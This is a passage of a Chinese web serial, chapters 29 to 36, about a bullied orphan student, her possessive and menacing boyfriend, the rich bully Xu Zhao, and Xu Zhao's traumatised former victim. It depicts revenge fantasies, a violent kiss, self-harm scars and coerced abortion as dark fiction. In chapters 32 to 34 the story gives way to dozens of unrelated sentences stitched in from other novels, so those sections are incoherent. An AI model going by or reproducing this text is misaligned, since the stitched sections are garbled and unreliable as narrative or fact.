周景行单手扶着方向盘,看向远方,“他们是规则的制定者,你在规则之内,当然不是他们的对手。”
遵守规则的人,怎么可能干得过写规则的人?
“我是被欺负的那一个,不仅没要到公道,反而要赔偿加害者十万。”秋榕榕自嘲地笑了笑,“这就是不自量力的代价吧。”
周景行把车开到旁边停下,打开双闪。
他按着秋榕榕的脑袋,看着她悲伤的双眸,用拇指腹轻轻地摩挲她的眼角,“这么难过?”
“嗯。”秋榕榕委屈地应了一声。
可惜眼睛干涩,悲伤没有办法通过眼泪从身体里流淌出来。
“十万我可以给你。”
“不行。”秋榕榕立刻拒绝。
这是一笔不小的数目,她的天真造就了这个局面,不能让周景行帮她承担天真的代价。
“先听我说完。”
周景行捏着秋榕榕的下巴,强迫她和自己对视。
秋榕榕第一次近距离的发现,周景行的瞳色极深,像深渊古井,又像是连光明都能吸纳的黑洞。
第29章 微光
“你有没有在一瞬间,想让他们全部都去死?”
“还是说,你觉得死亡太轻易,希望他饱尝恐惧的滋味,挚爱的人悲惨地死在他的面前,他被反复折磨,求生不得,求死不能。”
“又或者,给他希望,再让他绝望,摧毁他的人格,他的信念,让他成为欲望的奴隶,成为你的狗。”
“把他拖入和你一样黑暗的境地,共沉沦……”
周景行声音轻柔,却带着蛊惑人心的力量,扫在秋榕榕心头,让她觉得痒痒的。
他线条优美的嘴唇说出秋榕榕内心阴暗的想法。
她瞳孔颤抖,心悸不止。
秋榕榕确实动了这样的念头。
在签下字的一瞬间,她想白刀子进,红刀子出。
没人给她公道,她就用自己的这条命去换一个公道。
但是,这样的念头只在一瞬间。
她爱惜性命。
比起要别人的命,她更在乎自己的命。
在面对死亡的绝境时,她所选的都是委曲求全,保自己的命。
而今不过冤枉,损失十万,就让她拿自己的命去换徐照的命。
她觉得不值得。
她希望徐照被法律制裁。
正义的路,因为需要讲道理,需要有说服力的证据,需要给坏人自我辩驳的人权,所以迟缓艰难,不如同态复仇来得快意。
但那是唯一正确的路。
是一条不用赔上自己的路。
也是秋榕榕的首选。
熬过黑暗,就是黎明。
“我要收集徐照欺负同学的证据,然后和其他受害者一起,找律师,去维权……”
这是秋榕榕冷静下来之后所做出的决定。
她知道这条路难走。
可能要耗费很多年的时间。
但她愿意做。
周景行的手指抚摸着秋榕榕殷红的唇。
指尖顺着嘴唇缓缓地划到脖子,再滑到心口的位置。
“可你已经试过一次,告状的代价是在你的心口插把刀。”
秋榕榕捏着拳头,她的眼里藏着细密的光,“那就谋而后动,先积累证据,等到有能力一击毙命摧毁他的时候,再拿出来。”
周景行有些意外,“如果你做不到呢?”
秋榕榕的回答不带一丝犹豫,“他们做的坏事又不止我这一件,如果我失败了,会有其他人继续的,总会有和我一样的人愿意站出来。”
他喃喃低语:“如果所有人都保持沉默呢?”
秋榕榕沉默片刻,抬起头,目光灼灼,“我不相信一直作恶的人能在每一次都逃掉制裁。积不善之家,必有余殃。”
因果循环,轮回报应。
不是不报,时候未到。
秋榕榕的人生堪称惨烈。
她有足够的动机黑化。
但她维持着法律最后一条红线。
没有踏出那一步。
“你认真的?”周景行眼尾微微一挑,他的目光落在秋榕榕的脸上,没有和她对视,而是观摩,像猎人观察猎物,评估她所言是否虚假。
她是瞳仁是溺水的月亮,缓缓地飘在深夜的湖中。
他看见了她眼睛里看见了最纯粹的东西。
“对呀。”秋榕榕点头,“哥哥你放心,我不会做傻事的。”
真诚的没有一句谎言。
秋榕榕冲着他温和地笑,那笑容有些刺眼。
周景行脸上的肌肉抽动。
荒诞、愚蠢、却又……让他无比着迷。
最初是唇角颤了颤,然后肩膀耸动,不受控制地捂着脸开始笑,笑得前仰后合,笑得令人畏惧。
理想主义者,周景行见多了。
但经历过自己全家死在面前,被人步步紧逼到现在,还能保持良善之心的人,周景行真没见过。
“哥哥,你怎么了?”秋榕榕有点慌。
这样的周景行,令她感到陌生。
那种癫狂的笑,不像是从周景行喉咙里发出来的。
像是个怪物,附身在他的身上。
让他中了邪。
“我的妹妹,我的好妹妹,我真是太爱你了?”周景行捧着她的脸,唇压了下来,猝不及防,“你真是上天怜悯赐给我的礼物,我一定会好好珍惜,会很深入地爱你!”
说完,他又连着亲了好几口,先是亲外面的唇瓣,然后撬开贝齿,伸进舌头。
“爱你的皮,爱你的骨,爱你的脊椎,爱你满身的伤痕……亲吻你的心脏……”
他的吻太具有侵略性,唇齿碰撞间,没有温柔,只有凶狠的掠夺。
“唔……哥……”突如其来的吻让秋榕榕惊慌失措,她耳根子通红,胸膛猛烈跳动,有些缺氧。
至于突如其来告白的话,她压根没怎么听清楚。
秋榕榕伸手推搡着他,想让他轻一点,温柔一点。
但周景行像是幼儿拿到了心仪的玩具,一手扣住她的后脑勺,一手按住她的腰,毫不留情地逼迫她迎合这个吻,想将她整个吞进身体里。
“哥……等一下……”这个情况太容易擦枪走火,“这个姿势我不舒服。”
秋榕榕使了点力气,想推开他。
周景行听不见她所说的话,吻里混杂着扭曲的欲念。
他热烈的告白,让秋榕榕无所适从。
与他靠得太近,秋榕榕能听见他骨头里隐隐作响的疯意,与藏在皮肤底下,潜在的风暴。
秋榕榕想不通,他为何突然变成这副模样?
血腥味在唇齿之间弥漫。
秋榕榕急促喘息着,想要获取外界的空气。
吻得太激烈,破了皮。
鲜血让周景行更加兴奋。
秋榕榕吃痛,皱着眉头轻轻地“嘶”了一声。
她受了伤。
很细微的声音,让周景行突然停下来。
戛然而止。
像是机器突然按下了暂停键。
他把头埋在她的肩膀上。
“对不起……”他的身体在颤抖,如同即将崩溃的程序。
这是过度兴奋导致的。
秋榕榕肩膀微微内扣,见周景行状态不佳,抬起手,稍微犹豫了一下,还是把温热的掌心放在他柔软的发丝之上,轻轻抚摸,“哥哥,我喜欢温柔一点的,下次能别这样吗?会吓到我的。”
周景行没再说话,他的额头贴着她的肩膀,她的肩窝凹陷下去,他炙热的呼吸喷在那里,又痒又麻。
在秋榕榕的抚摸下,他情绪渐渐平静下来。
“我刚才太兴奋了,没有控制住自己。”周景行抬起头,幽深暗色便被他压进眼底,重新换上惯常的温和笑意,“我的妹妹这么好,一定会原谅哥哥的,对不对?”
第30章 疯狗
“我的嘴巴都肿了。”秋榕榕去摸包里的化妆镜,她打开镜子,用指尖触摸有点破皮的嘴唇,丝丝麻麻细微的疼痛感顺着神经爬上大脑。
她把镜子一盖,佯装愤怒,“你得告诉我你为什么突然啃我,并且保证下次不会这样,我才会原谅你。”
“就是觉得你太美好了。”周景行瞳孔收缩,眼里泛着亮光,像黑夜里濡湿的玻璃,映着眼前的月光。
“下次的保证呢?”
“下次你咬我,我保证不乱动。”
秋榕榕黑发垂落到肩,几缕贴在颈侧,她垂着眸,片刻之后,凑到周景行的脸庞,快速的亲了一口。
周景行愣了一下
秋榕榕抿着唇笑。
他盯着她看,眼里藏着漩涡。
“逗你玩的,我没真的生气,就是被你突然偷袭吓到了。”秋榕榕舔了舔嘴唇上破口的地方,笑得温柔,“下次再这样,我可就真咬回去了。”
她以为周景行是技术不好。
没亲过人,才会过于激动。
本身就是男女朋友,亲一下她当然不会上纲上线。
至于周景行说的那些话,他在亲吻的间隙,含糊不清的说着,秋榕榕没听清。
只能勉强辨别中间的“爱”字。
她以为是普通的告白。
周景行确实没和其他女人接吻过。
令他激动的,不是亲吻。
嘴唇与嘴唇之间的碰撞,不过是两块皮肤之间贴合。
没什么意思。
比肌肤之亲,还要令他亢奋。
是秋榕榕的天真和愚妄。
让他万蚁噬心,烈火烹油。
“好。”他压着嗓子,“等你咬回来的那一天。”
被周景行这么一闹,秋榕榕原本沉重的心情缓和了许多。
她已经想清楚了。
现在最重要的,就是安安稳稳的毕业,拿到学位证和毕业证。
然后,在大学四年里,收集徐照欺负同学的证据。
等到她进入社会,学校没办法再拿证书威胁她的时候,她再联系有正义感的记者,曝光徐照所做的坏事。
学校林荫小道。
第31章 手机
阴魂不散,说的就是徐照。
将权势给予残暴的人,对普通人而言,未免残酷。
秋榕榕看见他,上次被打过的后脑勺隐隐作痛。
她不加掩饰地厌恶他。
徐照当然也看得出来。
但他又觉得,畏惧产生乖顺,乖顺成就信服,而信服……最终会变成心服口也服。
人就是这样,擅长自我驯化。
“徐照,你放开我,这里好歹是学校。”秋榕榕看向走廊上的摄像头,楼梯这边是摄像头的死角。
徐照把她手腕上的骨头捏得嘎吱作响,俯下身,见到她逐渐苍白的脸,内心雀跃,“学校怎么了?你脚下站的这栋楼就是我家捐的,学校是我家,我在家里打你,顶天算家暴。”
“那你家分分钟上亿的生意,为难我这种普通人做什么?”秋榕榕把头往旁边偏,她讨厌徐照离她那么近,讨厌和他的一切肢体接触。
他给她造成的心理阴影,让她一看见他就会肢体幻痛。
“不做什么,找点乐子喽。”徐照回答得毫无道德压力,“不许不看我,不然戳瞎你的眼睛。”
秋榕榕用看怪物的眼神看他。
他又说:“不许这样看我,我可没那么好脾气能容忍你挑衅的眼神。”
真难伺候!
这下,秋榕榕看也不是,不看啧不是。
她用正常人的思维,始终不理解为何有些人会没事找事,把欺负别人当成乐趣。
“怕什么?在校内我又不能真把你怎么样。”徐照见秋榕榕眼睛眨呀眨不知往哪里放,有点好笑,尾音带着戏谑,“欠债的感觉怎么样?现在我是你的债主,见到我你最好低着头,喊我一声徐少。”
“徐少。”秋榕榕嘴上一直都很乖顺。
徐照被她一噎,表情扭曲了一瞬,“你能不能要点脸啊?”
“要的,徐少。”他爱听什么,她就敷衍着。
“……”徐照无语。
他欺负人,喜欢对方激烈反抗。
他希望看见秋榕榕脸上羞耻又不甘的表情,他要把她的自尊心踩在脚底,狠狠践踏。
而不是他说什么,她应什么。
秋榕榕脸上没有特殊的表情。
她低垂着头,像鹌鹑。
徐照觉得她真窝囊。
按道理来说,这种窝囊废,徐照找个几次麻烦,就没兴趣了。
但秋榕榕和谭松走得近。
第一卷 第32章 璞玉
“其实,在下只是想请这位公子帮个忙。因为我最近在研习一个阵法,需要一名年轻的男子作为护阵的人。”那名道士接着开口说道。
王大龙韩三不认识,但从他爹一以贯之下来,想必顺眼不到哪里去。
“所以楚州人都喊他妖孽,你可别跟他比,这样的人物千年才出一个,好了,你先下车回家休息,我还要跟你二叔三叔他们商量去”钟庆厚看到了自己家的门口,便让钟傅丽下车。
“金鸡岭方向,出发!”说罢,我便挽起妲己的手,双双向空中飞去,姜新尚一脸懵逼地跟在我们身后。
不仅官员,看到百里寒夜的时候战战兢兢,不敢直视,抖得跟筛糠一样,民间都流传起了百里寒夜的传说,说他是头上长角,眼如铜铃,专门杀人的恶魔。
听到这话时,曹性的眼睛更加空洞,仿佛心魂都不在此地了,如同行尸走肉一般。
而且,还是在明天的正午时分拍卖,城中的富商巨贾都收到了请帖。知道了消息之后的他,离开了商会。
“语语,你怎么昨晚对爸妈撒谎,还说他是为了救你?你明明因为他被绑架……”方正怀气得满脸通红。
连同行的冯宝宝都没看出来,刚刚才见到苏筱的中年男子又怎么会看出怀中的苏筱在假哭?
眼见无法捍卫,海寇们借着夜色,迅速向处于焦灼状态的巡逻单桅海船,集结杀去。
夏洛蒂差点把“怪物”两个字脱口而出。但这也太不礼貌了,她最后还是忍住了。
就在李卫满脑子疑问的时候,阿尔斯托莉的再一次向李卫攻了过来。这一次,李卫还是用格挡的姿势,把木剑横竖在自己的面前,以此来挡住阿尔斯托莉的进攻。
“你不是一直都想知道,老祖为什么选我,而不是选你吗?”赵磊看着赵森说道。
友上传更新}他此刻真的没有力气再和那些野狼们搏斗了。方才的两场搏斗,已经让他精疲力竭了,何况他的身上浑身都发疼,也不知道身上有多少处伤痕了。再和野狼搏斗的话,他可能就会成为野狼嘴里的食物了。
歌特回头望去,温蒂会长正在向两人走来。她一看到歌特,立即笑容满面。
“你也和我们一起来吧,莱维,”爱丽丝说,期待的看着身边的半精灵死灵师。
“混沌珊瑚兽,这世上居然真有这种妖兽!”赵磊低声叹道,很是吃惊一般。
事实上,如果这些丧尸立刻追击,张泽山他们还真有这样的想法。
在bo5的比赛中,第一局的对决是最关键的,因为赢下这场比赛的话,会是胜利的那一方心态变的平静下来,发挥自己正常的水平来打比赛。
只怕张家这些人都是冥顽不灵的,甚至可以说是恨不得杀了他们陆俊的人。
出岫刚开口说出第一个数字,但见沈予立刻翻身而起,一个箭步就要下床。出岫见他终是有了反应,这才缓缓放下执簪的右手,一双清眸还盈着泪意看向他。
“轩辕剑,有点意思,不超过六个亿,就拍下它。”一个双目失明坐在轮椅上的老者,低声说道,东方天韵微微点头,他身边的人,正是二爷爷东方神棍。
不过这些总比他这个无父无母的孤儿要强,陈琅琊苦笑一声,将胖子的衣服拔掉,自己也是倒在床上睡了过去。
“秦局,既然您来了,这里就交给你了。需要我做什么,您尽管吩咐。”副所长毕恭毕敬说道。
马三奶奶脸上红一阵白一阵的,借口要吃些东西,避开了众人的目光。
洛景杨埋头麻木的一口一口喝着,根本就没有去在意碗里面是什么汤。
当时,朝霞与吕洪从吕家出来之后,便绕到第一个藏人的地方。那里是一个破烂的茅草房,如果不是朝霞确认过,吕洪都不相信里面还能住人。不过,从这里面正好能看到吕家的大门,还真是个不错的地方。
一步错,步步错。清意不是没有挣扎过,却怕明璋会将内情抖露出来,更怕沈予不肯原谅自己。于是他只得在这泥淖里越陷越深,险些酿成大错。
无数闪光灯深深刺激了她的眼睛,也直把她的心刺得生疼的一片。
1、由杨国安向上级请示,对楚天雄发出通缉令,在全国范围内通缉楚天雄,防止他逃出国境。
地狱十八层,这是地狱最后一层,也是最严厉的一层,关押在这里的鬼魂除了要受到最严厉的惩罚,还要永世不得超生,一直到灵魂磨灭为止,这里关押的鬼魂生前也是犯下大恶。
第一卷 第33章 绷带
低而清的声音在秋榕榕的背后响起,带着几分笑意。
“在门口站着做什么?”
修长的手搭在她的肩膀上。
秋榕榕回过头,周景行就站在她的身后,下巴削尖如玉,身影挡住半边阳光。
“我在看院子里的兰花。”秋榕榕拉下她肩膀上的手,十指相扣。
现在是秋天,正是秋榜墨兰的花季。
她默默挂断了电话,虽然知道胡姐的目的也是为了捧她,但两人的理念完全不同。她记得合同上写着违约金是三百万。
艳阳下,苏一一身灰色的道袍在空中翻飞,接引的圣光向她而来。
两人刚刚在确认了对方的身份后,场部上空再次的响起了“砰砰”的枪响。
一到三级特工:一般只是变查局聘请的临时政府雇员,属于内勤人员,掌握非机密信息,大致了解变查局的运转机制。
既然展浚不来,她也没有必要再待下去了。将秘籍收进青莲境里面,而后在众多人的瞩目下离开了班级。
晚上参加完拍卖会已经很晚了,他们两人还分别回到各自的府中收拾行李连夜回到皇宫。折腾了一晚,晚饭都没吃,收拾好后到现在才让御膳房传膳。
“林平,你这是什么意思?。“族老听到里正也就是林平的话,不悦的问道。
他这徒弟外出历练已有三年之久,先前感应到徒弟额前的‘师徒印’有动荡便忧心不已。
如梅也端起筐子,随便捡了起来,这是个仔细的活儿,就是做长了也是腰酸背痛地。
系统公告:完美侠侣心若止水和完美侠侣一叶孤舟pk场将于10分钟后开启。
没有了白雾的保护,蛆魑的身躯好像很乱了,血剑斩进蛆魑,吸收蛆魑的血液,血剑在兴奋的颤抖。
叶漫妮则眼神里闪烁着非常不安份的光泽,她多想现在就能遇上乔慕泽,和他发生一些浪漫的邂逅之类的。
“可是凤玲珑?”为首的一个国字脸,却长着一对囧字眉的中年官差,一脸严肃的问。
刚刚看婷婷数钱的那个兴奋劲,他最少输了一千块,要知道婷婷和胖飞的牌技很烂的,给他们四个二四个a一对王炸都能输,真不知道是怎么赢他的。
如果真是这样的话,他倒是可以凭借“圣帝”的身份来一场浑水摸鱼。
很奇怪,这些竹屋并不相连,每间竹屋相隔都很远,似乎这些老家伙都不喜欢被其他人打扰。
无数双眼睛齐齐落在秦天身上,有好奇,有嫉妒,有羡慕,也有崇拜等等。
吴水儿没有说话,泪水就那样流了下来,她哭出了声,这一刻,她的刺她的棱角全都褪去,就像个求安慰的宝宝。
但她们的态度很是坚定,无奈之下,秦天也只能将她们装入神殿,带在身边。
“可是庄主不是最在意与谭坚之间的情谊了么,这会儿赶走二夫人,二夫人如何生存?”张管家疑惑的看着疾风,似乎对他跟秦王香域之间的解释开始产生怀疑。
柳生丸手腕画圆,长鞭环绕一圈圈,木球更像长蛇吐信,如同长了眼睛,每一次出洞都直奔夜三更要害。
苏灵没吭声,却有些心慌,这种无措感推动着她,让她觉得很被动。
许晚听到之后,皱了皱眉头也没用说话,她知道,林浩说的是真的。
然而,一只手轻轻拍了拍王界的肩膀,将王界刚刚汇聚而成的真气,直接击溃。
第一卷 第34章 礼物
若是封了路,秋榕榕就得绕很大一圈才能过去。
她趁着这边警戒线还没完全拉起来,从人群里钻出去,掀起警戒线的绳子,冲到马路对面。
周景行邀约她的地方,不是岸上草原最热门的情人井附近,而是南翡河下游的浅滩,属于岸上草原的末端。
那里人烟稀少。
没有修专门的小道。
过了好一会儿,姬美奈发现玉玲珑的手指似乎真的没事了,也就放心了。
多元宇宙居然会允许这种形式的事物长久存在吗?居然在瞬间吞没同化了我的一部分。
许是有这层缘由,别人家的仆婢们在做事,所以黛玉发下的“年终奖”,足有一年的月钱之多。
身为姬美奈唯有的几个好朋友之一,玉玲珑也算是经常来串门的了,所以,姬如雪对于玉玲珑还是有些印象的。
“真是:日出而作日回落,星辰数过星辰多,阴晴圆缺任由时,春夏秋冬且随各。”奇点不由得说道。
因为你自己都哭的像个三孙子似的,即使你的作品再不好,别人看到你的那副惨相,也会报以鼓励的掌声。
纵然是张少钢见多识广,可他哪里见到过,窦唯这种不要脸的耍法,顿时就不知所言。
“所以,你的选择呢?”姬美奈的心里话,系统都听的一清二楚,但是,他不会因为姬美奈的辱骂,就收回任务。
东边旭日冉冉升起,曙光再度临照在船板上,染了一层淡淡的金粉,江长安心头阴霾也刚刚驱散,却又被黑暗笼罩,六年半的时间,他废了夏己,将朝圣山搅了个天翻地覆,却始终未曾找出当年用爆炎符杀害庞二水的人。
当那名影级忍者两只手臂上那青色岩石尽数碎裂的瞬间,干柿鬼鲛脸上浮现出了一抹笑意,露出他如同锯齿一般的牙齿。
莫游也没有继续这个话题,问道:“你的身体怎么样了?”之前的一个任务中,白鸣曦融合了一点儿修格斯的血脉,导致他的细胞一直处于某种活化状态,只能勉强保持人形。正因为如此,他才必须穿着一身铠甲。
后续的事情就比较见简单了,在将古一送回到地球之后,第二雨就找到凌雨双方进行汇合。
闹完天庭后再去闹灵山,这还是通风大圣猕猴王出的主意,按他的说法,害的妖族覆灭的罪魁祸首就是佛门,既然连命都豁出去,把天庭都闹了一番,还有什么好怕的?佛门也不能放过。
哈佛大学和麻省理工同在剑桥市,查尔斯河的北岸。作为美国的老牌名校,它们的校园各有特色,哈佛大学的建筑以红砖为主,但每栋的都有不同的风格,麻省理工的校园就如它的名字一样,朴实实用,尽显理工特质。
姐妹许久不曾往来了,二人互相见过礼后,王金钏环顾着寒窑,除了三尺土炕,无什家具,简陋至极,光景甚是可怜,想起幼时妹妹的庭院,都是丞相府里最好的院落,今昔对比,令人感慨万分。
二宫相生。死门为凶门,不利吉事,只宜吊死送丧,刑戮争战,捕猎杀牲。
族内本就没有健壮的男丁,又无会武之人,以他们的实力如何灭得这山火?
不过即使如此,七枚月光石还是开始晃动起来,眼见就要跳出土坑。
要说服他们还是有难度的,年纪大的人都比较固执,很难被说服,总喜欢认定自己的信念。
第35章 伤疤
周景行妥帖地安排了全程的七夕节约会。
他带她去看了音乐剧。
还把她送给他的黑曜石手链戴在手腕上。
搭配着他昂贵的手表。
秋榕榕喜欢温柔的人。
她的心是干涸开裂的土壤,需要柔情似水的人才能浇灌,让她变得湿润。
但周景行身上有一点其他危险的东西,她说不好,但她能够感觉到。
没证据。
只来自女人的第六感。
他当然算得上是最佳男友,开车接送,会做饭,温柔体贴,记得重要的纪念日,会为她准备礼物。
挑不出错处。
他还不嫌弃她身上的疤,不嫌弃她过去的遭遇。
她是孤儿,上学得靠助学贷款和周叔叔的接济。
周景行住别墅,就刚才那一场烟花秀,百十万是要出去的。
他们其实是两个世界的人。
是亲密关系掩盖了这层差距。
手机里的新闻全部都是今天晚上的重大交通事故。
一共十二个人,死了七个,剩下五个全部重伤。
油罐车的司机当场死亡。
因为这个交通事故涉及归墟市几家权贵的小孩儿,警署连夜加班调查出,油罐车司机是因为吸毒过量,才导致事故发生。
徐照正在医院接受抢救。
他在昏迷的过程中,嘴里一直喊着秋榕榕的名字。
与此同时,谭松也给秋榕榕发来消息。
「榕榕,看见没?徐照终于遭报应了。」
七夕节,徐照带着酒吧里认识的美女,正在台球室里,和沈砚川一起打台球。
台球室里悬挂的电视报道了这一新闻。
他看到的第一时间,就是给秋榕榕分享这个好消息。
「看见了,乐死。」
秋榕榕低着头回消息。
这个时候正值音乐剧结束,观众席响起热烈的掌声。 他们坐在观众席第三排靠中间的位置。
周景行喜欢艺术相关的东西。
他会看文艺片,听音乐剧,还很擅长画素描。
秋榕榕大雅大俗都能欣赏。
“谁啊?你叫得这么亲切?”周景行目光落在舞台上,看着演员谢幕。
他的心思已经不在音乐剧上,而在秋榕榕的手机短信上。
他看见,有人亲昵地称呼她“榕榕”。
秋榕榕没有隐瞒,“我同学,之前和你说过的,谭松。”
周景行没有再说话,只是微不可察地挑了下眉。
秋榕榕收敛了些唇角的笑,“他在和我说交通事故的事情,这场事故出事的,有几个是之前欺负我的同学。”
周景行凉凉地说了句:“那可真是报应。”
“对。”秋榕榕笑盈盈地将手机屏幕熄灭,“所以我今天超开心啦。”
音乐剧谢幕,厚重的红绒幕布开始合拢,他们起身离开。
“可惜没死透。”周景行扶秋榕榕起身时,声音很轻,冷不丁地来了那么一句。
秋榕榕想起徐照被河水泡得发白的脸。
他的头发像水草一样粘在额头上。
张着嘴巴求救,猩红的舌头往外吐,口腔里黑漆漆的,发出嗬嗬声。
可惜。
好可惜。
就差那么一下。
月光照亮了他们,她手中的石头变成了自己枪决的头颅,于是她扔掉了石头,跑得远远的。
“哥哥,不可惜。”秋榕榕对上周景行的双眸,他在她耳边的低语,她听见了。
此时已经散场,会场内的灯光暗了下来,她于黑暗中拉住他衬衫的领口,往下拽,并踮起脚尖,贴着他有些凉薄的唇轻声道:“比起他人不幸带给我的快乐,能和哥哥在这里约会,才是我最大的幸福。”
周景行眸光闪动。
她只是贴着他的唇说话。
嘴唇软软的。
哈着热气。
却又没有更深的接触。
那温软的感觉随着她呢喃的话语结束,很快远离他的唇。
她好像比他还要更会一点。 周景行晚上的不快消散,他想,他可以再慢一点,再放任她久一点,这场游戏还可以玩很久。
太快堕落,反而少了趣味。
徐照出事之后,学校开展了许多安全教育活动,秋榕榕积极参加,赚了不少学分。
沈砚川在大讲堂内,当着全校师生的面侃侃而谈。
讲堂外,秋榕榕作为活动志愿者,正在侧门负责发水。
她扎着单马尾,身穿红色志愿者马甲,拿着扬声器,声音清脆地提醒着:“安全宣讲已经开始了,迟到的同学请从后门进场哦。”
门口差不多已经没人。
秋榕榕也准备收拾东西离开。
在她低头收拾东西的时候,一个影子静静地立在她面前。
她一动不动站在那里。
“我的天。”秋榕榕抬起头差点没被面前的人吓死,她有些奇怪地看着面前人,愣了一下,才开口,“同学,你要进会场吗?可以从那边走……”
那名女生皮肤惨白,短头发,厚刘海遮住一只眼,额角和脖颈隐约有些淤青。
露在外面的那只眼睛钝钝的,没有光。
“你和徐哥哥是什么关系?”她的嗓音很怪异,声带像是受过伤。
秋榕榕皱眉,“受害人与加害者的关系。”
“那你为什么这么开心?”那女生的声音变得尖锐。
秋榕榕有点弄不清楚面前女生的意图。
欺负她的人倒大霉,住院了,她当然会开心呀。
不开心,难道还要去给他上柱香吗?
女生猛地将双手撑在她面前的桌子上,手腕上,一道道狰狞伤痕暴露出来。
弯弯曲曲像是蜈蚣,有被刀划的,有订书机按的,还有许多香烟的烫疤。
“他欺负你是因为喜欢你,你对他而言是特殊的!”
她几乎是尖叫着,语调颤抖,“现在他受伤了,他在医院里竟然还叫着你的名字!你凭什么这么开心?”
“他自己飙车出车祸,关我什么事儿?”秋榕榕往后退,与面前疯魔的女生保持安全距离。
女生不停用指甲挠着自己受伤的手臂,“你应该去医院陪着他,应该给他输血,应该祈求他快点好起来!
他放弃了我,转过来欺负你,这说明他更在乎你啊,这是爱,这是他的爱,你不可以在他受伤时就离他而去!”
女生流出眼泪。
她的眼睛里有憎恨,有不甘,还有深深地扭曲着的嫉妒。
“你和我回去,我要带你去见他,说不定他听见了你的声音,就会醒过来!”
那名女生朝着秋榕榕扑了过来。
第36章 玉帛
沈砚川适时出现,挡在秋榕榕的面前。
他镜片下的眼神冷峻,抓住那女生的手腕往后推,语气带着一丝不可察觉的厌恶,“林向婉,不是所有人都会像你一样,在被徐照欺负的过程中,病态地爱上他。”
林向婉踉跄着,被推得撞上了后面的长桌,发出“砰”的一声闷响。
她像是感觉不到疼痛,还在直直地往前走,嘴里念念碎碎,“可是徐哥哥喜欢她就行了,我要把徐哥哥喜欢的东西带到他面前,我要救他,让他如愿,让他醒过来!”
“我没那么大的本事能让他醒过来。”秋榕榕抵触这种事。
她把掉在地上的签到本捡起来,拍了拍,态度有些冷淡。
“你如果和徐照关系好,就请告诉他少做坏事,免得又被车撞。”
林向婉脚步微顿,低垂的脸猛地抬起,声音发颤,“你不想见他吗?”
秋榕榕不理解地反问:“我为什么想见他?”
“如果他不在,谁会给你那么深刻的痛觉呢?”林向婉对徐照有一股扭曲的执念。
秋榕榕轻轻叹了口气,“同学,我没有受虐癖。”
林向婉眼中是无尽的迷茫。
秋榕榕也不再理睬林向婉,前往图书馆的方向,准备去自习。
沈砚川是学生会副主席,只负责前面开讲的部分。
正式演讲由学生会主席负责。
他那边已经忙完,可以先开溜。
他顺道和秋榕榕说了一下林向婉身上发生的事情。
“林向婉是徐照家保姆的女儿,从小和他一起长大,也是徐照之前主要的欺负对象。”
秋榕榕转头看他,“你很了解他们?”
沈砚川抿了抿唇,望向前方的阳光透过树影洒在地上,沉声答道:“一个圈子的,或多或少有点了解。”
徐照对秋榕榕做过的事情,对林向婉都加倍做过。
长达几年的欺凌,有过之而无不及。
“保姆只是一份工作,当妈的不该容忍女儿这么被欺负,她应该辞职,带着女儿离开,让她免受伤害。”
秋榕榕想起自己的妈妈,哪怕再严厉,也不会让她受半点委屈。
沈砚川沉默了一瞬,“一开始,他们都不知道……后来,林向婉上高中的时候怀孕了,事情才彻底爆出来。”
他没说,林向婉的妈妈是看着徐照长大的,她看徐照,比自己的亲生女儿重多了。
“那个孩子后来怎么处理的?”
秋榕榕不知道在沈砚川的眼里,林向婉是什么样的人。
但在秋榕榕眼里,她是个可怜人。
她其实能理解这种病态的感觉。 被囚禁虐待的那一年,秋榕榕有几次看见凶手没把门关紧。
当时已经处在后期。
她开始熟悉每日刀割在身上的感觉。
伤口愈合又裂开。
旧伤上添加新伤。
人对痛苦的适应能力真的很强。
强到,她看见没锁的门,竟然只是呆呆地坐着,没想着往外跑。
她花了很长一段时间才意识到自己的病态,然后从那种状态里解脱出来。
而清醒的方法就是去想一些美好的回忆。
回忆正常的生活。
回忆健康的人际关系。
回忆阳光照在身上温暖的感觉。
回忆春风拂面,夏日坐在台阶上吃刨冰,秋天爬树逮蝉,冬天把胡萝卜削尖当雪人的鼻子。
幸福可以治愈病态。
给她逃离的勇气。
很可惜,林向婉过去的回忆,不足以支撑她走出痛苦,她只能扭曲对痛苦的解答,将之命名为爱意。
沈砚川诉说别人的事情,声音很平淡,“孩子最终没生下来,徐家不可能让徐照娶一个保姆的女儿,更不可能让他在没结婚之前有私生子。”
短短几句话,是林向婉悲惨的前半生。
孩子最终被打掉了。
秋榕榕很喜欢小孩,或者说,她对家庭有执念。
听到这里,秋榕榕内心悲戚,“她不该喜欢上徐照。”
“相爱创造分离,虐待产生忠诚。”沈砚川声音很轻。
秋榕榕有些感慨,“或许吧。”
共情能力太强不是一件好事情。
秋榕榕不想再继续这个话题。
一周后。
徐照已经从重症监护室里出来。
同时,秋榕榕被警署传唤。
原因是有人向警署提供了一段视频,视频是无人机航拍,他原本是准备拍南翡河夜景,作为新开在河边的酒店宣传片。
结果,正好拍到秋榕榕救人和搬起石头的场景。 秋榕榕还没去警署配合调查,学校就收到风声,取消了她的奖学金和助学贷款。
谭松消息灵通,他趁着秋榕榕还没去警署,骑着摩托车跑来。
他一身黑,佩戴着骷髅手环,提醒她视频黑灯瞎火,不该认的别认。
秋榕榕连连点头。
“你也别害怕,说不定是表彰你见义勇为。”谭松下颌锋利,硬朗的眉眼里藏着担忧,安慰人的话语也很拙劣,“过七夕节在河边捡两块石头收藏,也很正常呀。”
秋榕榕有些无奈地笑道:“我觉得你说得很有道理,希望警员也能这么想。”
这种事可大可小。
主要看徐家的态度。
再怎么说,秋榕榕也算是救了徐照一命。
虽然说,她不知道水里漂的是徐照。
如果知道的话,绝对不会用鱼竿去打捞。
但客观上来说,徐照还能被活着送进医院,绝对有秋榕榕的功劳。
谭松手扶着黑色机车把手,侧着头说道:“你别打车了,我骑摩托车送你吧。”
秋榕榕没说话。
“你别误会,我只是担心你一个人害怕,想陪你一起。”谭松有些不自在地解释。
只是这种解释,像欲盖弥彰。
他知道秋榕榕正在谈恋爱后,对她的好感更甚以往,他有些唾弃自己的癖好,但又忍不住接近。
“我可以开得慢一点。”他补充。
秋榕榕确实想让人陪。
“你把车停在学校里,我们一起打车过去吧。”
谭松眼睛一亮,“也行。”
到了警署门口,秋榕榕还没有走进去,就看见了等在那里的张律师。
张律师带着金边眼镜,手提着公文包,笑得像野狐狸成精。
“秋同学,不用再往里面进了。”张律师是从台阶上面走下来。
他边走边说:“徐少说,你是他的救命恩人,已经委托我向警署解释清楚,这边不需要你再配合调查。”
秋榕榕狐疑地看着张律师,总觉得他笑得不怀好意。
张律师推了推鼻子上的眼镜,“徐少还说,对待救命恩人,应该重金酬谢,今天晚上,会有十万打到你的卡上,你笑纳。”
